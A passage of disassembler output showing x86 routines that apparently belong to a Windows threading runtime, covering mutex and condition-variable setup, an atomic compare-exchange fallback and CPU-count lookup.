loc_42C200: ; CODE XREF: sub_42C180+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C205: ; CODE XREF: sub_42C180+Aj
; sub_42C180+10j
pop edi
mov eax, 16h
pop esi
retn
sub_42C180 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C240: ; CODE XREF: _294ADE7B:00401857j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_401177
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C270: ; CODE XREF: _294ADE7B:00401519j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4017F3
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2A0: ; CODE XREF: _294ADE7B:00401438j
mov eax, [esp+4]
test eax, eax
jz short loc_42C2AC
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_42C2AC: ; CODE XREF: _294ADE7B:0042C2A6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C2C0: ; CODE XREF: _294ADE7B:00401AFAj
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_42C2D2
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C2D2: ; CODE XREF: _294ADE7B:0042C2C8j
mov esi, [eax]
test esi, esi
jnz short loc_42C2F5
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_42C2F5
call sub_401BCC
push esi
call ds:dword_4B38CC
call sub_401BCC
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C2F5: ; CODE XREF: _294ADE7B:0042C2D6j
; _294ADE7B:0042C2DDj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012AD
mov esi, eax
test esi, esi
jnz short loc_42C32E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C32E: ; CODE XREF: _294ADE7B:0042C324j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_42C396
mov edx, [esi+38h]
push edx
call ds:dword_4B3848
test eax, eax
jnz short loc_42C387
lea edi, [esi+2Ch]
push edi
call sub_40208B
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_42C376
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010AF
push 2
call sub_401CA8
add esp, 8
loc_42C376: ; CODE XREF: _294ADE7B:0042C356j
push edi
call sub_4010AF
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C387: ; CODE XREF: _294ADE7B:0042C342j
cmp eax, 102h
jz short loc_42C39C
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42C396: ; CODE XREF: _294ADE7B:0042C334j
call ds:dword_4B38CC
loc_42C39C: ; CODE XREF: _294ADE7B:0042C38Cj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C3F0: ; CODE XREF: _294ADE7B:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401B13
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_42C40B
mov eax, [esp+0]
loc_42C40B: ; CODE XREF: _294ADE7B:0042C405j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C420 proc near ; CODE XREF: sub_401672j
push esi
call sub_4012DF
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
call ds:dword_4B38A4
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov ds:dword_4B26D8, eax
call ds:dword_4B38A8
test eax, eax
mov ds:dword_4B26F4, eax
jnz short loc_42C46D
mov eax, ds:dword_4B26D8
mov ds:dword_4B26F4, offset sub_401299
push eax
call ds:dword_4B3818
mov ds:dword_4B26D8, 0
loc_42C46D: ; CODE XREF: sub_42C420+2Bj
mov eax, esi
pop esi
retn
sub_42C420 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C4A0 proc near ; CODE XREF: sub_4015A0j
mov eax, ds:dword_4B26DC
test eax, eax
jz short loc_42C4F0
mov eax, ds:dword_4B26E0
push eax
call sub_40116D
add esp, 4
test eax, eax
jz short loc_42C4DB
cmp dword ptr [eax+20h], 1
jnz short loc_42C4DB
push eax
call sub_4016F4
mov ecx, ds:dword_4B26E0
add esp, 4
mov edx, [ecx]
push 0
push edx
call ds:dword_4B3814
loc_42C4DB: ; CODE XREF: sub_42C4A0+19j
; sub_42C4A0+1Fj
call sub_4015B9
mov eax, ds:dword_4B26D8
test eax, eax
jz short loc_42C4F0
push eax
call ds:dword_4B3818
loc_42C4F0: ; CODE XREF: sub_42C4A0+7j
; sub_42C4A0+47j
mov eax, 1
retn
sub_42C4A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C520 proc near ; CODE XREF: sub_4016F9j
mov eax, 1
retn
sub_42C520 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C540 proc near ; CODE XREF: sub_401708j
mov eax, ds:dword_4B26DC
test eax, eax
jz short loc_42C57B
mov eax, ds:dword_4B26E0
push eax
call sub_40116D
add esp, 4
test eax, eax
jz short loc_42C57B
cmp dword ptr [eax+20h], 1
jnz short loc_42C57B
push eax
call sub_4016F4
mov ecx, ds:dword_4B26E0
add esp, 4
mov edx, [ecx]
push 0
push edx
call ds:dword_4B3814
loc_42C57B: ; CODE XREF: sub_42C540+7j
; sub_42C540+19j ...
mov eax, 1
retn
sub_42C540 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C5B0: ; CODE XREF: _294ADE7B:0040209Aj
push ecx
push esi
push offset dword_4B27E0
xor esi, esi
call ds:dword_4B3868
mov eax, ds:dword_4B26E8
test eax, eax
mov [esp+4], eax
jz short loc_42C5EE
loc_42C5CC: ; CODE XREF: _294ADE7B:0042C5ECj
test esi, esi
jnz short loc_42C5EE
lea eax, [esp+4]
push eax
call sub_401587
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_42C5CC
loc_42C5EE: ; CODE XREF: _294ADE7B:0042C5CAj
; _294ADE7B:0042C5CEj
push offset dword_4B27E0
call ds:dword_4B386C
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C630 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_42C649
mov eax, [eax]
test eax, eax
jz short loc_42C649
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_42C649
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42C649: ; CODE XREF: sub_42C630+6j
; sub_42C630+Cj ...
mov eax, 1
retn
sub_42C630 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C660 proc near ; CODE XREF: sub_4012DFj
mov eax, ds:dword_4B26DC
test eax, eax
jz short loc_42C66F
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_42C66F: ; CODE XREF: sub_42C660+7j
push 0
push offset dword_4B26E0
mov ds:dword_4B26DC, 1
call sub_401582
add esp, 8
test eax, eax
jnz short loc_42C69E
push eax
push offset dword_4B26E4
call sub_401582
add esp, 8
test eax, eax
jz short loc_42C6A3
loc_42C69E: ; CODE XREF: sub_42C660+2Aj
call sub_4015B9
loc_42C6A3: ; CODE XREF: sub_42C660+3Cj
push esi
mov esi, ds:dword_4B3860
push offset dword_4B2720
call esi
push offset dword_4B2780
call esi
push offset dword_4B27E0
call esi
push offset dword_4B2760
call esi
push offset dword_4B27C0
call esi
push offset dword_4B27A0
call esi
mov eax, ds:dword_4B26DC
pop esi
retn
sub_42C660 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C700 proc near ; CODE XREF: sub_4015B9j
mov eax, ds:dword_4B26DC
test eax, eax
jz locret_42C7B9
mov eax, ds:dword_4B26E0
test eax, eax
jz short loc_42C729
push eax
call sub_4019BF
add esp, 4
mov ds:dword_4B26E0, 0
loc_42C729: ; CODE XREF: sub_42C700+14j
mov eax, ds:dword_4B26E4
test eax, eax
jz short loc_42C745
push eax
call sub_4019BF
add esp, 4
mov ds:dword_4B26E4, 0
loc_42C745: ; CODE XREF: sub_42C700+30j
push esi
push offset dword_4B2720
call ds:dword_4B3868
mov eax, ds:dword_43FA0C
cmp eax, 1
jz short loc_42C773
push edi
mov edi, ds:dword_4B3AAC
loc_42C762: ; CODE XREF: sub_42C700+70j
mov esi, [eax+8]
push eax
call edi
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_42C762
pop edi
loc_42C773: ; CODE XREF: sub_42C700+59j
push offset dword_4B2720
call ds:dword_4B386C
mov esi, ds:dword_4B385C
push offset dword_4B27A0
call esi
push offset dword_4B27C0
call esi
push offset dword_4B2760
call esi
push offset dword_4B27E0
call esi
push offset dword_4B2780
call esi
push offset dword_4B2720
call esi
mov ds:dword_4B26DC, 0
pop esi
locret_42C7B9: ; CODE XREF: sub_42C700+7j
retn
sub_42C700 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42C7F0: ; CODE XREF: _294ADE7B:loc_401AA0j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
call ds:dword_4B3AAC
mov eax, ds:dword_4B26E0
push esi
push eax
call sub_401F5A
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_4305AC
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_42C84C
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_42C858
; ---------------------------------------------------------------------------
loc_42C84C: ; CODE XREF: _294ADE7B:0042C839j
dec eax
jz short loc_42C855
dec eax
or esi, 0FFFFFFFFh
jmp short loc_42C858
; ---------------------------------------------------------------------------
loc_42C855: ; CODE XREF: _294ADE7B:0042C84Dj
mov esi, [edi+14h]
loc_42C858: ; CODE XREF: _294ADE7B:0042C84Aj
; _294ADE7B:0042C853j
cmp dword ptr [edi+20h], 1
jnz short loc_42C877
call sub_401708
push esi
call ds:dword_4B3A3C
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42C877: ; CODE XREF: _294ADE7B:0042C85Cj
push edi
call sub_4012DA
add esp, 4
push esi
call ds:dword_4B3A3C
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C8D0 proc near ; CODE XREF: sub_4016F4j
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_42C94A
lea esi, [ebx+2Ch]
push edi
push esi
call sub_40208B
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010AF
push ebx
call sub_4012DA
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401AC3
mov eax, [esp+0A0h+var_4C]
mov esi, ds:dword_4B38C8
add esp, 10h
test eax, eax
pop edi
jz short loc_42C928
push eax
call esi
loc_42C928: ; CODE XREF: sub_42C8D0+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_402090
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_42C94A
test [esp+8Ch+var_8], 1
jnz short loc_42C94A
push eax
call esi
loc_42C94A: ; CODE XREF: sub_42C8D0+11j
; sub_42C8D0+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_42C8D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42C990 proc near ; CODE XREF: sub_401C99j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42C9B1
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C9B1: ; CODE XREF: sub_42C990+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_40208B
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_42C9F2
push esi
call sub_402090
push esi
call ds:dword_4B3AAC
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C9F2: ; CODE XREF: sub_42C990+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010AF
add esp, 4
test ebp, ebp
jz short loc_42CA17
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_42CA17: ; CODE XREF: sub_42C990+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_42C990 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CA60 proc near ; CODE XREF: sub_40105Aj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42CA87
mov eax, [esi+8]
test eax, eax
jnz short loc_42CA87
mov eax, [esi+4]
test eax, eax
jnz short loc_42CA87
push esi
call sub_402090
push esi
call ds:dword_4B3AAC
add esp, 8
loc_42CA87: ; CODE XREF: sub_42CA60+7j
; sub_42CA60+Ej ...
pop esi
retn
sub_42CA60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CAA0 proc near ; CODE XREF: sub_4012DAj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_42CB0D
mov esi, [ebx+80h]
test esi, esi
jz short loc_42CB0D
push edi
loc_42CAB5: ; CODE XREF: sub_42CAA0+6Aj
push esi
call sub_40208B
add esp, 4
test eax, eax
jnz short loc_42CB08
mov edi, [esi+8]
test edi, edi
jz short loc_42CAE3
push edi
call sub_40116D
add esp, 4
test eax, eax
jz short loc_42CAE3
mov edi, [edi+4]
test edi, edi
jz short loc_42CAE3
push eax
call edi
add esp, 4
loc_42CAE3: ; CODE XREF: sub_42CAA0+27j
; sub_42CAA0+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010AF
push esi
call sub_40105A
mov esi, [ebx+80h]
add esp, 8
loc_42CB08: ; CODE XREF: sub_42CAA0+20j
test esi, esi
jnz short loc_42CAB5
pop edi
loc_42CB0D: ; CODE XREF: sub_42CAA0+8j
; sub_42CAA0+12j
pop esi
pop ebx
retn
sub_42CAA0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CB30: ; CODE XREF: sub_401CA8j
mov eax, ds:dword_4B26E0
push ebx
push edi
push eax
call sub_40116D
mov ebx, [esp+10h]
add esp, 4
cmp ebx, 2
mov edi, eax
jz short loc_42CB58
cmp ebx, 1
jz short loc_42CB58
push 1
call ds:dword_4B3AB8
loc_42CB58: ; CODE XREF: _294ADE7B:0042CB49j
; _294ADE7B:0042CB4Ej
test edi, edi
jz short loc_42CB62
test byte ptr [edi+7Ch], 1
jz short loc_42CB85
loc_42CB62: ; CODE XREF: _294ADE7B:0042CB5Aj
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_42CB72
dec eax
jnz short loc_42CB75
or esi, 0FFFFFFFFh
jmp short loc_42CB75
; ---------------------------------------------------------------------------
loc_42CB72: ; CODE XREF: _294ADE7B:0042CB68j
mov esi, [edi+14h]
loc_42CB75: ; CODE XREF: _294ADE7B:0042CB6Bj
; _294ADE7B:0042CB70j
call sub_401708
push esi
call ds:dword_4B3A3C
add esp, 4
pop esi
loc_42CB85: ; CODE XREF: _294ADE7B:0042CB60j
push 1
call sub_401A23
add esp, 4
add edi, 3Ch
push ebx
push edi
call ds:dword_4B3A30
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CBC0 proc near ; CODE XREF: sub_401A23j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401109
add esp, 4
test eax, eax
jz short loc_42CBDF
loc_42CBD2: ; CODE XREF: sub_42CBC0+1Dj
push esi
call sub_401109
add esp, 4
test eax, eax
jnz short loc_42CBD2
loc_42CBDF: ; CODE XREF: sub_42CBC0+10j
pop esi
retn
sub_42CBC0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CC00: ; CODE XREF: _294ADE7B:00401CB2j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CC20 proc near ; CODE XREF: sub_401299j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_42CC20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CC60 proc near ; CODE XREF: sub_401B13j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
call ds:dword_4B3878
push eax
call ds:dword_4B3810
test eax, eax
jz short loc_42CCA2
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_42CC8C: ; CODE XREF: sub_42CC60+33j
test eax, edx
jz short loc_42CC91
inc ecx
loc_42CC91: ; CODE XREF: sub_42CC60+2Ej
shl eax, 1
jnz short loc_42CC8C
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CCA2: ; CODE XREF: sub_42CC60+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_42CC60 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CCD0 proc near ; CODE XREF: sub_401794j
arg_0 = dword ptr 4
push esi
push offset dword_4B27C0
xor esi, esi
call ds:dword_4B3868
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42CD04
push esi
push ecx
call sub_401E29
add esp, 8
mov esi, eax
push offset dword_4B27C0
call ds:dword_4B386C
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42CD04: ; CODE XREF: sub_42CCD0+17j
test eax, eax
jnz short loc_42CD0D
mov esi, 16h
loc_42CD0D: ; CODE XREF: sub_42CCD0+36j
push offset dword_4B27C0
call ds:dword_4B386C
mov eax, esi
pop esi
retn
sub_42CCD0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CD40 proc near ; CODE XREF: sub_401799j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010AF
push esi
call sub_4010AF
add esp, 8
pop esi
retn
sub_42CD40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CD80 proc near ; CODE XREF: sub_401E29j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_42CD92
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42CD92: ; CODE XREF: sub_42CD80+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_42CDB2
cmp dword ptr [eax], 0
jz short loc_42CDB2
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42CDB2: ; CODE XREF: sub_42CD80+1Aj
; sub_42CD80+1Fj
push 1Ch
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_42CDD6
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42CDD6: ; CODE XREF: sub_42CD80+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_40200E
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_42CE34
lea ebx, [esi+4]
push eax
push ebx
call sub_40200E
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_42CE2B
push eax
lea eax, [esi+8]
push eax
call sub_4014D8
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42CE4C
push ebx
call sub_402090
add esp, 4
loc_42CE2B: ; CODE XREF: sub_42CD80+8Dj
push esi
call sub_402090
add esp, 4
loc_42CE34: ; CODE XREF: sub_42CD80+7Aj
push esi
call ds:dword_4B3AAC
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42CE4C: ; CODE XREF: sub_42CD80+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_42CD80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CEB0: ; CODE XREF: _294ADE7B:004017DFj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_42CFEB
mov esi, [eax]
test esi, esi
jz loc_42CFEB
cmp esi, 0FFFFFFFFh
jz loc_42CFA7
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_42CFEB
push esi
call sub_40208B
add esp, 4
test eax, eax
jnz loc_42CFF0
lea edi, [esi+4]
push edi
call sub_40208B
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_42CF19
push esi
call sub_4010AF
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42CF19: ; CODE XREF: _294ADE7B:0042CF07j
mov eax, [esi+10h]
test eax, eax
jg short loc_42CF8D
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_42CF8D
push edi
mov dword ptr [esi+18h], 0
call sub_4010AF
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_42CF50
call sub_4010AF
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42CF50: ; CODE XREF: _294ADE7B:0042CF3Fj
call sub_4010AF
add esp, 4
test eax, eax
jnz loc_42CFF0
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_4019B0
push edi
mov ebx, eax
call sub_402090
push esi
mov edi, eax
call sub_402090
push esi
mov ebp, eax
call ds:dword_4B3AAC
add esp, 10h
jmp short loc_42CFD3
; ---------------------------------------------------------------------------
loc_42CF8D: ; CODE XREF: _294ADE7B:0042CF1Ej
; _294ADE7B:0042CF28j
push edi
call sub_4010AF
push esi
mov ebx, eax
call sub_4010AF
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_42CFD3
; ---------------------------------------------------------------------------
loc_42CFA7: ; CODE XREF: _294ADE7B:0042CED3j
push offset dword_4B27C0
call ds:dword_4B3868
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_42CFC3
mov dword ptr [eax], 0
jmp short loc_42CFC8
; ---------------------------------------------------------------------------
loc_42CFC3: ; CODE XREF: _294ADE7B:0042CFB9j
mov ebx, 10h
loc_42CFC8: ; CODE XREF: _294ADE7B:0042CFC1j
push offset dword_4B27C0
call ds:dword_4B386C
loc_42CFD3: ; CODE XREF: _294ADE7B:0042CF8Bj
; _294ADE7B:0042CFA5j
test ebx, ebx
jz short loc_42CFDE
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42CFDE: ; CODE XREF: _294ADE7B:0042CFD5j
test edi, edi
mov eax, edi
jnz short loc_42CFF0
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42CFEB: ; CODE XREF: _294ADE7B:0042CEC0j
; _294ADE7B:0042CECAj ...
mov eax, 16h
loc_42CFF0: ; CODE XREF: _294ADE7B:0042CEF1j
; _294ADE7B:0042CF5Aj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D060: ; CODE XREF: _294ADE7B:00401D52j
push esi
push 4
push 1
xor esi, esi
call ds:dword_4B3A64
add esp, 8
test eax, eax
jnz short loc_42D083
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D083: ; CODE XREF: _294ADE7B:0042D072j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D0B0: ; CODE XREF: _294ADE7B:004016EAj
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42D0D1
mov eax, [ecx]
test eax, eax
jz short loc_42D0D1
push eax
mov [ecx], esi
call ds:dword_4B3AAC
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D0D1: ; CODE XREF: _294ADE7B:0042D0B9j
; _294ADE7B:0042D0BFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D0F0: ; CODE XREF: _294ADE7B:00401118j
mov eax, [esp+4]
test eax, eax
jz short loc_42D10D
mov eax, [eax]
test eax, eax
jz short loc_42D10D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42D10D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42D10D: ; CODE XREF: _294ADE7B:0042D0F6j
; _294ADE7B:0042D0FCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D130: ; CODE XREF: _294ADE7B:0040152Dj
mov eax, [esp+4]
test eax, eax
jz short loc_42D15A
mov ecx, [eax]
test ecx, ecx
jz short loc_42D15A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42D14E
test eax, eax
jnz short loc_42D15A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42D14E: ; CODE XREF: _294ADE7B:0042D145j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42D15A: ; CODE XREF: _294ADE7B:0042D136j
; _294ADE7B:0042D13Cj ...
mov eax, 16h
retn
